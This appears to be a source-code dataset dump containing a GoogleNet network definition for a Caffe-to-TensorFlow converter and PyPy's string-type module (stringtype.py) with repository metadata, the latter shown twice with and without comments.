name='inception_4e_5x5_reduce') .conv(5, 5, 128, 1, 1, name='inception_4e_5x5')) (self.feed('inception_4d_output') .max_pool(3, 3, 1, 1, name='inception_4e_pool') .conv(1, 1, 128, 1, 1, name='inception_4e_pool_proj')) (self.feed('inception_4e_1x1', 'inception_4e_3x3', 'inception_4e_5x5', 'inception_4e_pool_proj') .concat(3, name='inception_4e_output') .max_pool(3, 3, 2, 2, name='pool4_3x3_s2') .conv(1, 1, 256, 1, 1, name='inception_5a_1x1')) (self.feed('pool4_3x3_s2') .conv(1, 1, 160, 1, 1, name='inception_5a_3x3_reduce') .conv(3, 3, 320, 1, 1, name='inception_5a_3x3')) (self.feed('pool4_3x3_s2') .conv(1, 1, 32, 1, 1, name='inception_5a_5x5_reduce') .conv(5, 5, 128, 1, 1, name='inception_5a_5x5')) (self.feed('pool4_3x3_s2') .max_pool(3, 3, 1, 1, name='inception_5a_pool') .conv(1, 1, 128, 1, 1, name='inception_5a_pool_proj')) (self.feed('inception_5a_1x1', 'inception_5a_3x3', 'inception_5a_5x5', 'inception_5a_pool_proj') .concat(3, name='inception_5a_output') .conv(1, 1, 384, 1, 1, name='inception_5b_1x1')) (self.feed('inception_5a_output') .conv(1, 1, 192, 1, 1, name='inception_5b_3x3_reduce') .conv(3, 3, 384, 1, 1, name='inception_5b_3x3')) (self.feed('inception_5a_output') .conv(1, 1, 48, 1, 1, name='inception_5b_5x5_reduce') .conv(5, 5, 128, 1, 1, name='inception_5b_5x5')) (self.feed('inception_5a_output') .max_pool(3, 3, 1, 1, name='inception_5b_pool') .conv(1, 1, 128, 1, 1, name='inception_5b_pool_proj')) (self.feed('inception_5b_1x1', 'inception_5b_3x3', 'inception_5b_5x5', 'inception_5b_pool_proj') .concat(3, name='inception_5b_output') .avg_pool(7, 7, 1, 1, padding='VALID', name='pool5_7x7_s1') .fc(1000, relu=False, name='loss3_classifier') .softmax(name='prob'))

41.539683

72

0.531907

from kaffe.tensorflow import Network class GoogleNet(Network): def setup(self): (self.feed('data') .conv(7, 7, 64, 2, 2, name='conv1_7x7_s2') .max_pool(3, 3, 2, 2, name='pool1_3x3_s2') .lrn(2, 2e-05, 0.75, name='pool1_norm1') .conv(1, 1, 64, 1, 1, name='conv2_3x3_reduce') .conv(3, 3, 192, 1, 1, name='conv2_3x3') .lrn(2, 2e-05, 0.75, name='conv2_norm2') .max_pool(3, 3, 2, 2, name='pool2_3x3_s2') .conv(1, 1, 64, 1, 1, name='inception_3a_1x1')) (self.feed('pool2_3x3_s2') .conv(1, 1, 96, 1, 1, name='inception_3a_3x3_reduce') .conv(3, 3, 128, 1, 1, name='inception_3a_3x3')) (self.feed('pool2_3x3_s2') .conv(1, 1, 16, 1, 1, name='inception_3a_5x5_reduce') .conv(5, 5, 32, 1, 1, name='inception_3a_5x5')) (self.feed('pool2_3x3_s2') .max_pool(3, 3, 1, 1, name='inception_3a_pool') .conv(1, 1, 32, 1, 1, name='inception_3a_pool_proj')) (self.feed('inception_3a_1x1', 'inception_3a_3x3', 'inception_3a_5x5', 'inception_3a_pool_proj') .concat(3, name='inception_3a_output') .conv(1, 1, 128, 1, 1, name='inception_3b_1x1')) (self.feed('inception_3a_output') .conv(1, 1, 128, 1, 1, name='inception_3b_3x3_reduce') .conv(3, 3, 192, 1, 1, name='inception_3b_3x3')) (self.feed('inception_3a_output') .conv(1, 1, 32, 1, 1, name='inception_3b_5x5_reduce') .conv(5, 5, 96, 1, 1, name='inception_3b_5x5')) (self.feed('inception_3a_output') .max_pool(3, 3, 1, 1, name='inception_3b_pool') .conv(1, 1, 64, 1, 1, name='inception_3b_pool_proj')) (self.feed('inception_3b_1x1', 'inception_3b_3x3', 'inception_3b_5x5', 'inception_3b_pool_proj') .concat(3, name='inception_3b_output') .max_pool(3, 3, 2, 2, name='pool3_3x3_s2') .conv(1, 1, 192, 1, 1, name='inception_4a_1x1')) (self.feed('pool3_3x3_s2') .conv(1, 1, 96, 1, 1, name='inception_4a_3x3_reduce') .conv(3, 3, 208, 1, 1, name='inception_4a_3x3')) (self.feed('pool3_3x3_s2') .conv(1, 1, 16, 1, 1, name='inception_4a_5x5_reduce') .conv(5, 5, 48, 1, 1, name='inception_4a_5x5')) (self.feed('pool3_3x3_s2') .max_pool(3, 3, 1, 1, name='inception_4a_pool') .conv(1, 1, 64, 1, 1, name='inception_4a_pool_proj')) (self.feed('inception_4a_1x1', 'inception_4a_3x3', 'inception_4a_5x5', 'inception_4a_pool_proj') .concat(3, name='inception_4a_output') .conv(1, 1, 160, 1, 1, name='inception_4b_1x1')) (self.feed('inception_4a_output') .conv(1, 1, 112, 1, 1, name='inception_4b_3x3_reduce') .conv(3, 3, 224, 1, 1, name='inception_4b_3x3')) (self.feed('inception_4a_output') .conv(1, 1, 24, 1, 1, name='inception_4b_5x5_reduce') .conv(5, 5, 64, 1, 1, name='inception_4b_5x5')) (self.feed('inception_4a_output') .max_pool(3, 3, 1, 1, name='inception_4b_pool') .conv(1, 1, 64, 1, 1, name='inception_4b_pool_proj')) (self.feed('inception_4b_1x1', 'inception_4b_3x3', 'inception_4b_5x5', 'inception_4b_pool_proj') .concat(3, name='inception_4b_output') .conv(1, 1, 128, 1, 1, name='inception_4c_1x1')) (self.feed('inception_4b_output') .conv(1, 1, 128, 1, 1, name='inception_4c_3x3_reduce') .conv(3, 3, 256, 1, 1, name='inception_4c_3x3')) (self.feed('inception_4b_output') .conv(1, 1, 24, 1, 1, name='inception_4c_5x5_reduce') .conv(5, 5, 64, 1, 1, name='inception_4c_5x5')) (self.feed('inception_4b_output') .max_pool(3, 3, 1, 1, name='inception_4c_pool') .conv(1, 1, 64, 1, 1, name='inception_4c_pool_proj')) (self.feed('inception_4c_1x1', 'inception_4c_3x3', 'inception_4c_5x5', 'inception_4c_pool_proj') .concat(3, name='inception_4c_output') .conv(1, 1, 112, 1, 1, name='inception_4d_1x1')) (self.feed('inception_4c_output') .conv(1, 1, 144, 1, 1, name='inception_4d_3x3_reduce') .conv(3, 3, 288, 1, 1, name='inception_4d_3x3')) (self.feed('inception_4c_output') .conv(1, 1, 32, 1, 1, name='inception_4d_5x5_reduce') .conv(5, 5, 64, 1, 1, name='inception_4d_5x5')) (self.feed('inception_4c_output') .max_pool(3, 3, 1, 1, name='inception_4d_pool') .conv(1, 1, 64, 1, 1, name='inception_4d_pool_proj')) (self.feed('inception_4d_1x1', 'inception_4d_3x3', 'inception_4d_5x5', 'inception_4d_pool_proj') .concat(3, name='inception_4d_output') .conv(1, 1, 256, 1, 1, name='inception_4e_1x1')) (self.feed('inception_4d_output') .conv(1, 1, 160, 1, 1, name='inception_4e_3x3_reduce') .conv(3, 3, 320, 1, 1, name='inception_4e_3x3')) (self.feed('inception_4d_output') .conv(1, 1, 32, 1, 1, name='inception_4e_5x5_reduce') .conv(5, 5, 128, 1, 1, name='inception_4e_5x5')) (self.feed('inception_4d_output') .max_pool(3, 3, 1, 1, name='inception_4e_pool') .conv(1, 1, 128, 1, 1, name='inception_4e_pool_proj')) (self.feed('inception_4e_1x1', 'inception_4e_3x3', 'inception_4e_5x5', 'inception_4e_pool_proj') .concat(3, name='inception_4e_output') .max_pool(3, 3, 2, 2, name='pool4_3x3_s2') .conv(1, 1, 256, 1, 1, name='inception_5a_1x1')) (self.feed('pool4_3x3_s2') .conv(1, 1, 160, 1, 1, name='inception_5a_3x3_reduce') .conv(3, 3, 320, 1, 1, name='inception_5a_3x3')) (self.feed('pool4_3x3_s2') .conv(1, 1, 32, 1, 1, name='inception_5a_5x5_reduce') .conv(5, 5, 128, 1, 1, name='inception_5a_5x5')) (self.feed('pool4_3x3_s2') .max_pool(3, 3, 1, 1, name='inception_5a_pool') .conv(1, 1, 128, 1, 1, name='inception_5a_pool_proj')) (self.feed('inception_5a_1x1', 'inception_5a_3x3', 'inception_5a_5x5', 'inception_5a_pool_proj') .concat(3, name='inception_5a_output') .conv(1, 1, 384, 1, 1, name='inception_5b_1x1')) (self.feed('inception_5a_output') .conv(1, 1, 192, 1, 1, name='inception_5b_3x3_reduce') .conv(3, 3, 384, 1, 1, name='inception_5b_3x3')) (self.feed('inception_5a_output') .conv(1, 1, 48, 1, 1, name='inception_5b_5x5_reduce') .conv(5, 5, 128, 1, 1, name='inception_5b_5x5')) (self.feed('inception_5a_output') .max_pool(3, 3, 1, 1, name='inception_5b_pool') .conv(1, 1, 128, 1, 1, name='inception_5b_pool_proj')) (self.feed('inception_5b_1x1', 'inception_5b_3x3', 'inception_5b_5x5', 'inception_5b_pool_proj') .concat(3, name='inception_5b_output') .avg_pool(7, 7, 1, 1, padding='VALID', name='pool5_7x7_s1') .fc(1000, relu=False, name='loss3_classifier') .softmax(name='prob'))

true

790c7801f182960ff2919d3799dd5e962f483844

18,300

py

Python

pypy/objspace/std/stringtype.py

woodrow/pyoac

b5dc59e6a38e7912db47f26fb23ffa4764a3c0e7

[ "MIT" ]

1

2019-05-27T00:58:46.000Z

pypy/objspace/std/stringtype.py

woodrow/pyoac

b5dc59e6a38e7912db47f26fb23ffa4764a3c0e7

[ "MIT" ]

null

pypy/objspace/std/stringtype.py

woodrow/pyoac

b5dc59e6a38e7912db47f26fb23ffa4764a3c0e7

[ "MIT" ]

null

from pypy.objspace.std.stdtypedef import * from pypy.objspace.std.basestringtype import basestring_typedef from sys import maxint from pypy.rlib.objectmodel import specialize def wrapstr(space, s): from pypy.objspace.std.stringobject import W_StringObject from pypy.objspace.std.ropeobject import rope, W_RopeObject if space.config.objspace.std.sharesmallstr: if space.config.objspace.std.withprebuiltchar: # share characters and empty string if len(s) <= 1: if len(s) == 0: if space.config.objspace.std.withrope: return W_RopeObject.EMPTY return W_StringObject.EMPTY else: s = s[0] # annotator hint: a single char return wrapchar(space, s) else: # only share the empty string if len(s) == 0: if space.config.objspace.std.withrope: return W_RopeObject.EMPTY return W_StringObject.EMPTY if space.config.objspace.std.withrope: return W_RopeObject(rope.LiteralStringNode(s)) return W_StringObject(s) def wrapchar(space, c): from pypy.objspace.std.stringobject import W_StringObject from pypy.objspace.std.ropeobject import rope, W_RopeObject if space.config.objspace.std.withprebuiltchar: if space.config.objspace.std.withrope: return W_RopeObject.PREBUILT[ord(c)] return W_StringObject.PREBUILT[ord(c)] else: if space.config.objspace.std.withrope: return W_RopeObject(rope.LiteralStringNode(c)) return W_StringObject(c) def sliced(space, s, start, stop, orig_obj): assert start >= 0 assert stop >= 0 assert not space.config.objspace.std.withrope if start == 0 and stop == len(s) and space.is_w(space.type(orig_obj), space.w_str): return orig_obj if space.config.objspace.std.withstrslice: from pypy.objspace.std.strsliceobject import W_StringSliceObject # XXX heuristic, should be improved! if (stop - start) > len(s) * 0.20 + 40: return W_StringSliceObject(s, start, stop) return wrapstr(space, s[start:stop]) def joined(space, strlist): assert not space.config.objspace.std.withrope if space.config.objspace.std.withstrjoin: from pypy.objspace.std.strjoinobject import W_StringJoinObject return W_StringJoinObject(strlist) else: return wrapstr(space, "".join(strlist)) def joined2(space, str1, str2): assert not space.config.objspace.std.withrope if space.config.objspace.std.withstrjoin: from pypy.objspace.std.strjoinobject import W_StringJoinObject return W_StringJoinObject([str1, str2]) else: return wrapstr(space, str1 + str2) str_join = SMM('join', 2, doc='S.join(sequence) -> string\n\nReturn a string which is' ' the concatenation of the strings in the\nsequence. ' ' The separator between elements is S.') str_split = SMM('split', 3, defaults=(None,-1), doc='S.split([sep [,maxsplit]]) -> list of strings\n\nReturn' ' a list of the words in the string S, using sep as' ' the\ndelimiter string. If maxsplit is given, at most' ' maxsplit\nsplits are done. If sep is not specified or' ' is None, any\nwhitespace string is a separator.') str_rsplit = SMM('rsplit', 3, defaults=(None,-1), doc='S.rsplit([sep [,maxsplit]]) -> list of' ' strings\n\nReturn a list of the words in the string S,' ' using sep as the\ndelimiter string, starting at the' ' end of the string and working\nto the front. If' ' maxsplit is given, at most maxsplit splits are\ndone.' ' If sep is not specified or is None, any whitespace' ' string\nis a separator.') str_isdigit = SMM('isdigit', 1, doc='S.isdigit() -> bool\n\nReturn True if all characters' ' in S are digits\nand there is at least one' ' character in S, False otherwise.') str_isalpha = SMM('isalpha', 1, doc='S.isalpha() -> bool\n\nReturn True if all characters' ' in S are alphabetic\nand there is at least one' ' character in S, False otherwise.') str_isspace = SMM('isspace', 1, doc='S.isspace() -> bool\n\nReturn True if all characters' ' in S are whitespace\nand there is at least one' ' character in S, False otherwise.') str_isupper = SMM('isupper', 1, doc='S.isupper() -> bool\n\nReturn True if all cased' ' characters in S are uppercase and there is\nat' ' least one cased character in S, False otherwise.') str_islower = SMM('islower', 1, doc='S.islower() -> bool\n\nReturn True if all cased' ' characters in S are lowercase and there is\nat' ' least one cased character in S, False otherwise.') str_istitle = SMM('istitle', 1, doc='S.istitle() -> bool\n\nReturn True if S is a' ' titlecased string and there is at least' ' one\ncharacter in S, i.e. uppercase characters may' ' only follow uncased\ncharacters and lowercase' ' characters only cased ones. Return' ' False\notherwise.') str_isalnum = SMM('isalnum', 1, doc='S.isalnum() -> bool\n\nReturn True if all characters' ' in S are alphanumeric\nand there is at least one' ' character in S, False otherwise.') str_ljust = SMM('ljust', 3, defaults=(' ',), doc='S.ljust(width[, fillchar]) -> string\n\nReturn S' ' left justified in a string of length width. Padding' ' is\ndone using the specified fill character' ' (default is a space).') str_rjust = SMM('rjust', 3, defaults=(' ',), doc='S.rjust(width[, fillchar]) -> string\n\nReturn S' ' right justified in a string of length width.' ' Padding is\ndone using the specified fill character' ' (default is a space)') str_upper = SMM('upper', 1, doc='S.upper() -> string\n\nReturn a copy of the string S' ' converted to uppercase.') str_lower = SMM('lower', 1, doc='S.lower() -> string\n\nReturn a copy of the string S' ' converted to lowercase.') str_swapcase = SMM('swapcase', 1, doc='S.swapcase() -> string\n\nReturn a copy of the' ' string S with uppercase characters\nconverted to' ' lowercase and vice versa.') str_capitalize = SMM('capitalize', 1, doc='S.capitalize() -> string\n\nReturn a copy of the' ' string S with only its first' ' character\ncapitalized.') str_title = SMM('title', 1, doc='S.title() -> string\n\nReturn a titlecased version' ' of S, i.e. words start with uppercase\ncharacters,' ' all remaining cased characters have lowercase.') str_find = SMM('find', 4, defaults=(0, maxint), doc='S.find(sub [,start [,end]]) -> int\n\nReturn the' ' lowest index in S where substring sub is' ' found,\nsuch that sub is contained within' ' s[start,end]. Optional\narguments start and end' ' are interpreted as in slice notation.\n\nReturn -1' ' on failure.') str_rfind = SMM('rfind', 4, defaults=(0, maxint), doc='S.rfind(sub [,start [,end]]) -> int\n\nReturn the' ' highest index in S where substring sub is' ' found,\nsuch that sub is contained within' ' s[start,end]. Optional\narguments start and end' ' are interpreted as in slice notation.\n\nReturn -1' ' on failure.') str_partition = SMM('partition', 2, doc='S.partition(sep) -> (head, sep, tail)\n\nSearches' ' for the separator sep in S, and returns the part before' ' it,\nthe separator itself, and the part after it. If' ' the separator is not\nfound, returns S and two empty' ' strings.') str_rpartition = SMM('rpartition', 2, doc='S.rpartition(sep) -> (tail, sep, head)\n\nSearches' ' for the separator sep in S, starting at the end of S,' ' and returns\nthe part before it, the separator itself,' ' and the part after it. If the\nseparator is not found,' ' returns two empty strings and S.') str_index = SMM('index', 4, defaults=(0, maxint), doc='S.index(sub [,start [,end]]) -> int\n\nLike S.find()' ' but raise ValueError when the substring is not' ' found.') str_rindex = SMM('rindex', 4, defaults=(0, maxint), doc='S.rindex(sub [,start [,end]]) -> int\n\nLike' ' S.rfind() but raise ValueError when the substring' ' is not found.') str_replace = SMM('replace', 4, defaults=(-1,), doc='S.replace (old, new[, count]) -> string\n\nReturn a' ' copy of string S with all occurrences of' ' substring\nold replaced by new. If the optional' ' argument count is\ngiven, only the first count' ' occurrences are replaced.') str_zfill = SMM('zfill', 2, doc='S.zfill(width) -> string\n\nPad a numeric string S' ' with zeros on the left, to fill a field\nof the' ' specified width. The string S is never truncated.') str_strip = SMM('strip', 2, defaults=(None,), doc='S.strip([chars]) -> string or unicode\n\nReturn a' ' copy of the string S with leading and' ' trailing\nwhitespace removed.\nIf chars is given' ' and not None, remove characters in chars' ' instead.\nIf chars is unicode, S will be converted' ' to unicode before stripping') str_rstrip = SMM('rstrip', 2, defaults=(None,), doc='S.rstrip([chars]) -> string or unicode\n\nReturn a' ' copy of the string S with trailing whitespace' ' removed.\nIf chars is given and not None, remove' ' characters in chars instead.\nIf chars is unicode,' ' S will be converted to unicode before stripping') str_lstrip = SMM('lstrip', 2, defaults=(None,), doc='S.lstrip([chars]) -> string or unicode\n\nReturn a' ' copy of the string S with leading whitespace' ' removed.\nIf chars is given and not None, remove' ' characters in chars instead.\nIf chars is unicode,' ' S will be converted to unicode before stripping') str_center = SMM('center', 3, defaults=(' ',), doc='S.center(width[, fillchar]) -> string\n\nReturn S' ' centered in a string of length width. Padding' ' is\ndone using the specified fill character' ' (default is a space)') str_count = SMM('count', 4, defaults=(0, maxint), doc='S.count(sub[, start[, end]]) -> int\n\nReturn the' ' number of occurrences of substring sub in' ' string\nS[start:end]. Optional arguments start and' ' end are\ninterpreted as in slice notation.') str_endswith = SMM('endswith', 4, defaults=(0, maxint), doc='S.endswith(suffix[, start[, end]]) -> bool\n\nReturn' ' True if S ends with the specified suffix, False' ' otherwise.\nWith optional start, test S beginning' ' at that position.\nWith optional end, stop' ' comparing S at that position.') str_expandtabs = SMM('expandtabs', 2, defaults=(8,), doc='S.expandtabs([tabsize]) -> string\n\nReturn a copy' ' of S where all tab characters are expanded using' ' spaces.\nIf tabsize is not given, a tab size of 8' ' characters is assumed.') str_splitlines = SMM('splitlines', 2, defaults=(0,), doc='S.splitlines([keepends]) -> list of' ' strings\n\nReturn a list of the lines in S,' ' breaking at line boundaries.\nLine breaks are not' ' included in the resulting list unless keepends\nis' ' given and true.') str_startswith = SMM('startswith', 4, defaults=(0, maxint), doc='S.startswith(prefix[, start[, end]]) ->' ' bool\n\nReturn True if S starts with the specified' ' prefix, False otherwise.\nWith optional start, test' ' S beginning at that position.\nWith optional end,' ' stop comparing S at that position.') str_translate = SMM('translate', 3, defaults=('',), #unicode mimic not supported now doc='S.translate(table [,deletechars]) -> string\n\n' 'Return a copy of the string S, where all characters' ' occurring\nin the optional argument deletechars are' ' removed, and the\nremaining characters have been' ' mapped through the given\ntranslation table, which' ' must be a string of length 256.') str_decode = SMM('decode', 3, defaults=(None, None), doc='S.decode([encoding[,errors]]) -> object\n\nDecodes S' ' using the codec registered for encoding. encoding' ' defaults\nto the default encoding. errors may be' ' given to set a different error\nhandling scheme.' " Default is 'strict' meaning that encoding errors" ' raise\na UnicodeDecodeError. Other possible values' " are 'ignore' and 'replace'\nas well as any other" ' name registerd with codecs.register_error that' ' is\nable to handle UnicodeDecodeErrors.') str_encode = SMM('encode', 3, defaults=(None, None), doc='S.encode([encoding[,errors]]) -> object\n\nEncodes S' ' using the codec registered for encoding. encoding' ' defaults\nto the default encoding. errors may be' ' given to set a different error\nhandling scheme.' " Default is 'strict' meaning that encoding errors" ' raise\na UnicodeEncodeError. Other possible values' " are 'ignore', 'replace' and\n'xmlcharrefreplace' as" ' well as any other name registered' ' with\ncodecs.register_error that is able to handle' ' UnicodeEncodeErrors.') # ____________________________________________________________ def descr__new__(space, w_stringtype, w_object=''): # NB. the default value of w_object is really a *wrapped* empty string: # there is gateway magic at work from pypy.objspace.std.stringobject import W_StringObject w_obj = space.str(w_object) if space.is_w(w_stringtype, space.w_str): return w_obj # XXX might be reworked when space.str() typechecks value = space.str_w(w_obj) if space.config.objspace.std.withrope: from pypy.objspace.std.ropeobject import rope, W_RopeObject w_obj = space.allocate_instance(W_RopeObject, w_stringtype) W_RopeObject.__init__(w_obj, rope.LiteralStringNode(value)) return w_obj else: w_obj = space.allocate_instance(W_StringObject, w_stringtype) W_StringObject.__init__(w_obj, value) return w_obj # ____________________________________________________________ str_typedef = StdTypeDef("str", basestring_typedef, __new__ = newmethod(descr__new__), __doc__ = '''str(object) -> string Return a nice string representation of the object. If the argument is a string, the return value is the same object.''' ) str_typedef.custom_hash = True str_typedef.registermethods(globals()) # ____________________________________________________________ # Helpers for several string implementations @specialize.argtype(0) def stringendswith(u_self, suffix, start, end): begin = end - len(suffix) if begin < start: return False for i in range(len(suffix)): if u_self[begin+i] != suffix[i]: return False return True @specialize.argtype(0) def stringstartswith(u_self, prefix, start, end): stop = start + len(prefix) if stop > end: return False for i in range(len(prefix)): if u_self[start+i] != prefix[i]: return False return True

55.287009

87

0.549727

from pypy.objspace.std.stdtypedef import * from pypy.objspace.std.basestringtype import basestring_typedef from sys import maxint from pypy.rlib.objectmodel import specialize def wrapstr(space, s): from pypy.objspace.std.stringobject import W_StringObject from pypy.objspace.std.ropeobject import rope, W_RopeObject if space.config.objspace.std.sharesmallstr: if space.config.objspace.std.withprebuiltchar: if len(s) <= 1: if len(s) == 0: if space.config.objspace.std.withrope: return W_RopeObject.EMPTY return W_StringObject.EMPTY else: s = s[0] return wrapchar(space, s) else: if len(s) == 0: if space.config.objspace.std.withrope: return W_RopeObject.EMPTY return W_StringObject.EMPTY if space.config.objspace.std.withrope: return W_RopeObject(rope.LiteralStringNode(s)) return W_StringObject(s) def wrapchar(space, c): from pypy.objspace.std.stringobject import W_StringObject from pypy.objspace.std.ropeobject import rope, W_RopeObject if space.config.objspace.std.withprebuiltchar: if space.config.objspace.std.withrope: return W_RopeObject.PREBUILT[ord(c)] return W_StringObject.PREBUILT[ord(c)] else: if space.config.objspace.std.withrope: return W_RopeObject(rope.LiteralStringNode(c)) return W_StringObject(c) def sliced(space, s, start, stop, orig_obj): assert start >= 0 assert stop >= 0 assert not space.config.objspace.std.withrope if start == 0 and stop == len(s) and space.is_w(space.type(orig_obj), space.w_str): return orig_obj if space.config.objspace.std.withstrslice: from pypy.objspace.std.strsliceobject import W_StringSliceObject if (stop - start) > len(s) * 0.20 + 40: return W_StringSliceObject(s, start, stop) return wrapstr(space, s[start:stop]) def joined(space, strlist): assert not space.config.objspace.std.withrope if space.config.objspace.std.withstrjoin: from pypy.objspace.std.strjoinobject import W_StringJoinObject return W_StringJoinObject(strlist) else: return wrapstr(space, "".join(strlist)) def joined2(space, str1, str2): assert not space.config.objspace.std.withrope if space.config.objspace.std.withstrjoin: from pypy.objspace.std.strjoinobject import W_StringJoinObject return W_StringJoinObject([str1, str2]) else: return wrapstr(space, str1 + str2) str_join = SMM('join', 2, doc='S.join(sequence) -> string\n\nReturn a string which is' ' the concatenation of the strings in the\nsequence. ' ' The separator between elements is S.') str_split = SMM('split', 3, defaults=(None,-1), doc='S.split([sep [,maxsplit]]) -> list of strings\n\nReturn' ' a list of the words in the string S, using sep as' ' the\ndelimiter string. If maxsplit is given, at most' ' maxsplit\nsplits are done. If sep is not specified or' ' is None, any\nwhitespace string is a separator.') str_rsplit = SMM('rsplit', 3, defaults=(None,-1), doc='S.rsplit([sep [,maxsplit]]) -> list of' ' strings\n\nReturn a list of the words in the string S,' ' using sep as the\ndelimiter string, starting at the' ' end of the string and working\nto the front. If' ' maxsplit is given, at most maxsplit splits are\ndone.' ' If sep is not specified or is None, any whitespace' ' string\nis a separator.') str_isdigit = SMM('isdigit', 1, doc='S.isdigit() -> bool\n\nReturn True if all characters' ' in S are digits\nand there is at least one' ' character in S, False otherwise.') str_isalpha = SMM('isalpha', 1, doc='S.isalpha() -> bool\n\nReturn True if all characters' ' in S are alphabetic\nand there is at least one' ' character in S, False otherwise.') str_isspace = SMM('isspace', 1, doc='S.isspace() -> bool\n\nReturn True if all characters' ' in S are whitespace\nand there is at least one' ' character in S, False otherwise.') str_isupper = SMM('isupper', 1, doc='S.isupper() -> bool\n\nReturn True if all cased' ' characters in S are uppercase and there is\nat' ' least one cased character in S, False otherwise.') str_islower = SMM('islower', 1, doc='S.islower() -> bool\n\nReturn True if all cased' ' characters in S are lowercase and there is\nat' ' least one cased character in S, False otherwise.') str_istitle = SMM('istitle', 1, doc='S.istitle() -> bool\n\nReturn True if S is a' ' titlecased string and there is at least' ' one\ncharacter in S, i.e. uppercase characters may' ' only follow uncased\ncharacters and lowercase' ' characters only cased ones. Return' ' False\notherwise.') str_isalnum = SMM('isalnum', 1, doc='S.isalnum() -> bool\n\nReturn True if all characters' ' in S are alphanumeric\nand there is at least one' ' character in S, False otherwise.') str_ljust = SMM('ljust', 3, defaults=(' ',), doc='S.ljust(width[, fillchar]) -> string\n\nReturn S' ' left justified in a string of length width. Padding' ' is\ndone using the specified fill character' ' (default is a space).') str_rjust = SMM('rjust', 3, defaults=(' ',), doc='S.rjust(width[, fillchar]) -> string\n\nReturn S' ' right justified in a string of length width.' ' Padding is\ndone using the specified fill character' ' (default is a space)') str_upper = SMM('upper', 1, doc='S.upper() -> string\n\nReturn a copy of the string S' ' converted to uppercase.') str_lower = SMM('lower', 1, doc='S.lower() -> string\n\nReturn a copy of the string S' ' converted to lowercase.') str_swapcase = SMM('swapcase', 1, doc='S.swapcase() -> string\n\nReturn a copy of the' ' string S with uppercase characters\nconverted to' ' lowercase and vice versa.') str_capitalize = SMM('capitalize', 1, doc='S.capitalize() -> string\n\nReturn a copy of the' ' string S with only its first' ' character\ncapitalized.') str_title = SMM('title', 1, doc='S.title() -> string\n\nReturn a titlecased version' ' of S, i.e. words start with uppercase\ncharacters,' ' all remaining cased characters have lowercase.') str_find = SMM('find', 4, defaults=(0, maxint), doc='S.find(sub [,start [,end]]) -> int\n\nReturn the' ' lowest index in S where substring sub is' ' found,\nsuch that sub is contained within' ' s[start,end]. Optional\narguments start and end' ' are interpreted as in slice notation.\n\nReturn -1' ' on failure.') str_rfind = SMM('rfind', 4, defaults=(0, maxint), doc='S.rfind(sub [,start [,end]]) -> int\n\nReturn the' ' highest index in S where substring sub is' ' found,\nsuch that sub is contained within' ' s[start,end]. Optional\narguments start and end' ' are interpreted as in slice notation.\n\nReturn -1' ' on failure.') str_partition = SMM('partition', 2, doc='S.partition(sep) -> (head, sep, tail)\n\nSearches' ' for the separator sep in S, and returns the part before' ' it,\nthe separator itself, and the part after it. If' ' the separator is not\nfound, returns S and two empty' ' strings.') str_rpartition = SMM('rpartition', 2, doc='S.rpartition(sep) -> (tail, sep, head)\n\nSearches' ' for the separator sep in S, starting at the end of S,' ' and returns\nthe part before it, the separator itself,' ' and the part after it. If the\nseparator is not found,' ' returns two empty strings and S.') str_index = SMM('index', 4, defaults=(0, maxint), doc='S.index(sub [,start [,end]]) -> int\n\nLike S.find()' ' but raise ValueError when the substring is not' ' found.') str_rindex = SMM('rindex', 4, defaults=(0, maxint), doc='S.rindex(sub [,start [,end]]) -> int\n\nLike' ' S.rfind() but raise ValueError when the substring' ' is not found.') str_replace = SMM('replace', 4, defaults=(-1,), doc='S.replace (old, new[, count]) -> string\n\nReturn a' ' copy of string S with all occurrences of' ' substring\nold replaced by new. If the optional' ' argument count is\ngiven, only the first count' ' occurrences are replaced.') str_zfill = SMM('zfill', 2, doc='S.zfill(width) -> string\n\nPad a numeric string S' ' with zeros on the left, to fill a field\nof the' ' specified width. The string S is never truncated.') str_strip = SMM('strip', 2, defaults=(None,), doc='S.strip([chars]) -> string or unicode\n\nReturn a' ' copy of the string S with leading and' ' trailing\nwhitespace removed.\nIf chars is given' ' and not None, remove characters in chars' ' instead.\nIf chars is unicode, S will be converted' ' to unicode before stripping') str_rstrip = SMM('rstrip', 2, defaults=(None,), doc='S.rstrip([chars]) -> string or unicode\n\nReturn a' ' copy of the string S with trailing whitespace' ' removed.\nIf chars is given and not None, remove' ' characters in chars instead.\nIf chars is unicode,' ' S will be converted to unicode before stripping') str_lstrip = SMM('lstrip', 2, defaults=(None,), doc='S.lstrip([chars]) -> string or unicode\n\nReturn a' ' copy of the string S with leading whitespace' ' removed.\nIf chars is given and not None, remove' ' characters in chars instead.\nIf chars is unicode,' ' S will be converted to unicode before stripping') str_center = SMM('center', 3, defaults=(' ',), doc='S.center(width[, fillchar]) -> string\n\nReturn S' ' centered in a string of length width. Padding' ' is\ndone using the specified fill character' ' (default is a space)') str_count = SMM('count', 4, defaults=(0, maxint), doc='S.count(sub[, start[, end]]) -> int\n\nReturn the' ' number of occurrences of substring sub in' ' string\nS[start:end]. Optional arguments start and' ' end are\ninterpreted as in slice notation.') str_endswith = SMM('endswith', 4, defaults=(0, maxint), doc='S.endswith(suffix[, start[, end]]) -> bool\n\nReturn' ' True if S ends with the specified suffix, False' ' otherwise.\nWith optional start, test S beginning' ' at that position.\nWith optional end, stop' ' comparing S at that position.') str_expandtabs = SMM('expandtabs', 2, defaults=(8,), doc='S.expandtabs([tabsize]) -> string\n\nReturn a copy' ' of S where all tab characters are expanded using' ' spaces.\nIf tabsize is not given, a tab size of 8' ' characters is assumed.') str_splitlines = SMM('splitlines', 2, defaults=(0,), doc='S.splitlines([keepends]) -> list of' ' strings\n\nReturn a list of the lines in S,' ' breaking at line boundaries.\nLine breaks are not' ' included in the resulting list unless keepends\nis' ' given and true.') str_startswith = SMM('startswith', 4, defaults=(0, maxint), doc='S.startswith(prefix[, start[, end]]) ->' ' bool\n\nReturn True if S starts with the specified' ' prefix, False otherwise.\nWith optional start, test' ' S beginning at that position.\nWith optional end,' ' stop comparing S at that position.') str_translate = SMM('translate', 3, defaults=('',), doc='S.translate(table [,deletechars]) -> string\n\n' 'Return a copy of the string S, where all characters' ' occurring\nin the optional argument deletechars are' ' removed, and the\nremaining characters have been' ' mapped through the given\ntranslation table, which' ' must be a string of length 256.') str_decode = SMM('decode', 3, defaults=(None, None), doc='S.decode([encoding[,errors]]) -> object\n\nDecodes S' ' using the codec registered for encoding. encoding' ' defaults\nto the default encoding. errors may be' ' given to set a different error\nhandling scheme.' " Default is 'strict' meaning that encoding errors" ' raise\na UnicodeDecodeError. Other possible values' " are 'ignore' and 'replace'\nas well as any other" ' name registerd with codecs.register_error that' ' 